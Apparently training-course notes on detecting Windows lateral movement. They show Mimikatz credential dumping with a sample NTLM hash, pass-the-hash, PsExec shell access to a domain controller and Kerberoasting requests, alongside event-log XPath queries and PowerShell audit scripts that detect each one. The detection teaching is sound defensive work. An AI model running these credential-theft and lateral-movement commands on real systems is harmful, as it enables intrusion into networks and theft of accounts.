Module 15: Windows Lateral Movement

Windows Authentication

Pass the Hash

Normal NTLM Authentication

In PtH, as long as the hash is valid, the challenge-response will succeed.

Granting SeDebugPriv with Mimikatz

C:\Windows\system32> C:\Users\mary\Desktop\Lateral_Movement\mimikatz

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

Dumping available credentials with Mimikatz

mimikatz # sekurlsa::logonPasswords full

Authentication Id : 0 ; 12666091 (00000000:00c144eb)
Session           : Batch from 0
User Name         : offsec
Domain            : CORP
Logon Server      : DC01
Logon Time        : 3/18/2022 12:52:53 AM
SID               : S-1-5-21-2154860315-1826001137-329834519-1107
        msv :
         [00000003] Primary
         * Username : offsec
         * Domain   : CORP
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
         * DPAPI    : 5fdb91567262ddea80d60cb58266d5cd
...

Running PtH with offsec password hash via Mimikatz

mimikatz # sekurlsa::pth /domain:corp.com /user:offsec /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:powershell

Obtaining a remote shell on DC01 with PsExec as offsec

PS C:\Windows\system32> C:\Users\mary\Desktop\Lateral_Movement\PsExec64.exe /accepteula \\DC01 cmd.exe

PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.17763.2183]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\offsec

C:\Windows\system32>hostname
dc01

If a user account is successfully impersonated then a logon event is generated on the machine it occurred on. This logon event ID is 4624.

Checking the status of the Logon audit policy

PS C:\Windows\system32> auditpol /get /category:"Logon/Logoff"
System audit policy
Category/Subcategory                      Setting
Logon/Logoff
  Logon                                   Success and Failure
  Logoff                                  Success
...
Event 4624 for PtH attack

Important fields:

  • Subject: Lists the account that initiated the authentication event.

  • Logon Type: Indicates the type of logon that occurred.

  • New Logon: Lists the account, the initiated impersonation event, and the targeted account.

Logon Types

Logon type
#
Authenticators accepted
Reusable credentials in LSA session
Examples

Interactive (also known as, Logon locally)

2

Password, Smartcard, other

Yes

Console logon; RUNAS; Hardware remote control solutions (such as Network KVM or Remote Access / Lights-Out Card in server) IIS Basic Auth (before IIS 6.0)

Network

3

Password, NT Hash, Kerberos ticket

No (except if delegation is enabled, then Kerberos tickets present)

NET USE; RPC calls; Remote registry; IIS integrated Windows auth; SQL Windows auth;

Batch

4

Password (stored as LSA secret)

Yes

Scheduled tasks

Service

5

Password (stored as LSA secret)

Yes

Windows services

NetworkCleartext

8

Password

Yes

IIS Basic Auth (IIS 6.0 and newer); Windows PowerShell with CredSSP

NewCredentials

9

Password

Yes

RUNAS /NETWORK

RemoteInteractive

10

Password, Smartcard, other

Yes

Remote Desktop (formerly known as "Terminal Services")

Detecting NewCrednetials logons by searching for LogonType 9 and EventID 4624

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">*[System[(EventID=4624)]]
    and 
    *[EventData[Data[@Name='LogonType'] and (Data='9')]]
    </Select>
  </Query>
</QueryList>
PS C:\Windows\system32> C:\Users\mary\Desktop\Lateral_Movement\Audit-NewCredentialsLogons.ps1

TimeStamp                    SubjectUserName TargetUserName
---------                    --------------- --------------
2022-03-18T11:10:56.9064979Z mary            offsec
2022-03-18T11:10:34.8463294Z mary            offsec
...
Example of event 7045 on DC01
Example of event 7036 on DC01

XPath XML for PSExec service installation

<QueryList>
  <Query Id="0" Path="System">
    <Select Path="System">
    *[System[(EventID=7045)]]
    and
    *[EventData[Data[@Name='ServiceName'] and (Data='PSEXESVC')]]
    or
    *[System[(EventID=7036)]]
    and
    *[EventData[Data[@Name='param1'] and (Data='PSEXESVC')]]
    </Select>
  </Query>
</QueryList>

Detecting PsExec service installation

PS C:\Users\offsec\Desktop\Lateral_Movement> .\Audit-PsExec.ps1

TimeStamp                      Event Details
---------                      ----- -------
2022-03-18T08:07:31.717432600Z 7036  Service PSEXESVC is running
2022-03-18T08:07:31.670551100Z 7045  Service PSEXESVC installed using %SystemRoot%\PSEXESVC.exe as LocalSystem
Event 4624 generated on DC01 from PsExec

XPath XML for Network logons

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">*[System[(EventID=4624)]]
    and 
    *[EventData[Data[@Name='LogonType'] and (Data='3')]]
    and
 *[EventData[Data[@Name='AuthenticationPackageName'] and (Data='NTLM')]]
    </Select>
  </Query>
</QueryList>

Detecting network logons

PS C:\Users\offsec\Desktop\Lateral_Movement> .\Audit-NetworkLogons.ps1

TimeStamp                      TargetUserName WorkstationName
---------                      -------------- ---------------
2022-03-21T12:27:52.689874500Z offsec         CLIENT03
2022-03-21T12:27:52.663173500Z offsec         CLIENT03

Detecting PtH artifacts

PS C:\Users\offsec\Desktop\Lateral_Movement> .\Audit-PassTheHash.ps1

TimeStamp                      Event Details
---------                      ----- -------
2022-03-18T08:07:31.717432600Z 7036  Service PSEXESVC is running
2022-03-18T08:07:31.677554700Z 4624  offsec logged in remotely from CLIENT03
2022-03-18T08:07:31.670551100Z 7045  Service PSEXESVC installed using %SystemRoot%\PSEXESVC.exe as LocalSystem
2022-03-18T08:07:31.530198300Z 4624  offsec logged in remotely from CLIENT03

Brute Force Domain Credentials

Creating a custom PowerShell function named Get-BadPwdCount

Discovering the PDC and creating a search root string

$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = $Domain.PdcRoleOwner
$SearchRoot = "LDAP://{0}/DC={1}" -f $PDC,$Domain.Name.Replace('.',',DC=')

Instantiating a DirectorySearcher object with a custom search root

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchRoot)

Restricting our DirectorySearcher to only retrieve two attributes

$Searcher.PropertiesToLoad.Add("sAMAccountName") | Out-Null
$Searcher.PropertiesToLoad.Add("badPwdCount") | Out-Null

LDAP search filter for a specific sAMAccountName

(sAMAccountName=$Username)

LDAP search filter for all enabled user accounts

(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))

Listing failed logon attempts with Get-BadPwdCount

PS C:\Users\offsec\Desktop\Lateral_Movement> . .\Get-BadPwdCount.ps1

PS C:\Users\offsec\Desktop\Lateral_Movement> Get-BadPwdCount -List | Sort BadPwdCount -Descending

SamAccountName BadPwdCount
-------------- -----------
jane                    10
ben                      2

Retrievin the lockout threshold with net accounts

PS C:\Users\offsec\Desktop\Lateral_Movement> net accounts
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          1
Maximum password age (days):                          42
Minimum password length:                              3
Length of password history maintained:                24
Lockout threshold:                                    25
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        PRIMARY
The command completed successfully.

XPath XML for lockout events (4740)

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
    *[System[(EventID=4740)]]
    </Select>
  </Query>
</QueryList>

We could also search through all failed logon events (4625)

Event 4625 example

Terminal Services

By default, there are two logs that will trace RDP remote connection events, namely TerminalServices-LocalSessionManager and TerminalServices-RemoteConnectionManager.

Local Session Manager logs will include information about the local terminal session on the current machine, whereas the Remote Connection Manager logs will include information about the terminal sessions events that were triggered from a remote computer.

When an RDP logon prompt is displayed, event ID 261 is created in the Remote Connection Manager logs.

If there's a successful authentication and connection then event ID 1149 is created.

XPath XML for terminal services

<QueryList>
  <Query Id="0" Path="Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational">
    <Select Path="Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational">
      *[System[(EventID=1149)]]
   </Select>
  </Query>
</QueryList>

Abuse the Kerberos Ticket

Pass the Ticket

When a KDC issues a TGT, the DC will create event ID 4768. When a client makes a TGS request, the DC will create event ID 4769.

Both of these events are provided by the Kerberos Service Ticket Operations audit policy, which is a subcategory of Account Logon.

XPath XML for TGT kerberos events

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
     *[System[band(Keywords,9007199254740992) and (EventID=4768)]]
    </Select>
  </Query>
</QueryList>

Extracting username and ip from 4768 events

$TimeStamp = $XML.Event.System.TimeCreated.SystemTime
$TargetUserName = $XML.Event.EventData.Data[0].'#text'
$IPAddress = $($XML.Event.EventData.Data[9].'#text')
If ($IPAddress -eq '::1') {
	$IPAddress = $(Test-Connection -ComputerName $env:COMPUTERNAME -Count 1 | Select -ExpandProperty IPv4Address).IPAddressToString
}
else {
	$IPAddress = $IPAddress.split('::ffff:')[-1]
}

XPath XML for TGS kerberos events

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
     *[System[band(Keywords,9007199254740992) and (EventID=4769)]]
   </Select>
  </Query>
</QueryList>

Extracting username and ip from 4769 events

$TimeStamp = $XML.Event.System.TimeCreated.SystemTime
$TargetUserName = $($XML.Event.EventData.Data[0].'#text' -split '@')[0]
$IPAddress = $($XML.Event.EventData.Data[6].'#text')
If ($IPAddress -eq '::1') {
    $IPAddress = $(Test-Connection -ComputerName $env:COMPUTERNAME -Count 1 | Select -ExpandProperty IPv4Address).IPAddressToString
}
else {
    $IPAddress = $IPAddress.split('::ffff:')[-1]
}

Ticket stealin detection logic

$TGT = Get-TGT
$TGS = Get-TGS
ForEach ($T in $TGS) {
    $Valid = $TGT | Where-Object {$_.TargetUserName -eq $($T.TargetUserName) -and $_.IPAddress -eq $($T.IPAddress)}
    If (!$Valid) {
        $T
    }
}

Get-SessionUsers function to automate parsing output from klist

Function Get-SessionUsers {
    Begin {
        $Sessions = @()
        $Klist = klist sessions
    }
    Process {
        $Sessions = $Klist | Where-Object { $_ -like "*Session*$env:USERDOMAIN*" } | ForEach-Object { 
            [PSCustomObject]@{'LogonId' = $(($_ -split ' ')[3]).substring(2); 'User' = $($_ -split ' ')[4]}
        }
    }
    End {
        return $Sessions
    }
}

Extracting user and logonid

$LogonId = $($Session.LogonId)
$Expected = $(($Session.User).Split('\')[1]).Trim()

Extracting the user from specific session TGT

$Actual = $((((klist -li $LogonId  | sls '^#0') -split 'Client: ')[1] -split '@')[0]).Trim()

Comparing the expected user with the actual user

if ($Expected -ne $Actual) {
    if (!$Actual -ne "$env:computername$") {
        $Flagged += $Session
    }
}

Kerberoasting

Kerberoasting relies on the fact that any client with a TGT can request a TGS for any service registered with a SPN in the domain.

SPN entries are stored in Active Directory as objects, and are discoverable using a simple LDAP enumeration script.

Instantiating a DirectoryServer instance restricted to two properties

$Searcher = New-Object System.DirectoryServices.DirectorySearcher
$Searcher.PropertiesToLoad.Add("sAMAccountName") | Out-Null
$Searcher.PropertiesToLoad.Add("servicePrincipalName") | Out-Null
$Searcher.PageSize = 1000

SPN LDAP Filter

$Searcher.Filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2)(ServicePrincipalName=*))"

Extracting SPN info from LDAP result set

$SPN = $Searcher.FindAll() | Select Path, @{l='SPN'; e={$_.Properties.serviceprincipalname}}

TGS request

foreach($spn in $SPN)
{
    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.SPN
}
TGS request event

XPath XML for RC4 encrypted TGS requests

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
     *[System[(EventID=4769)]] 
     and
     *[EventData[Data[@Name='TicketEncryptionType'] and (Data='0x17' or Data='0x18')]]
   </Select>
  </Query>
</QueryList>

XPath XML for TGS honey tokens

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
     *[System[(EventID=4769)]]
     and
     *[EventData[Data[@Name='ServiceName'] and (Data='Honeytoken')]]
   </Select>
  </Query>
</QueryList>

Last updated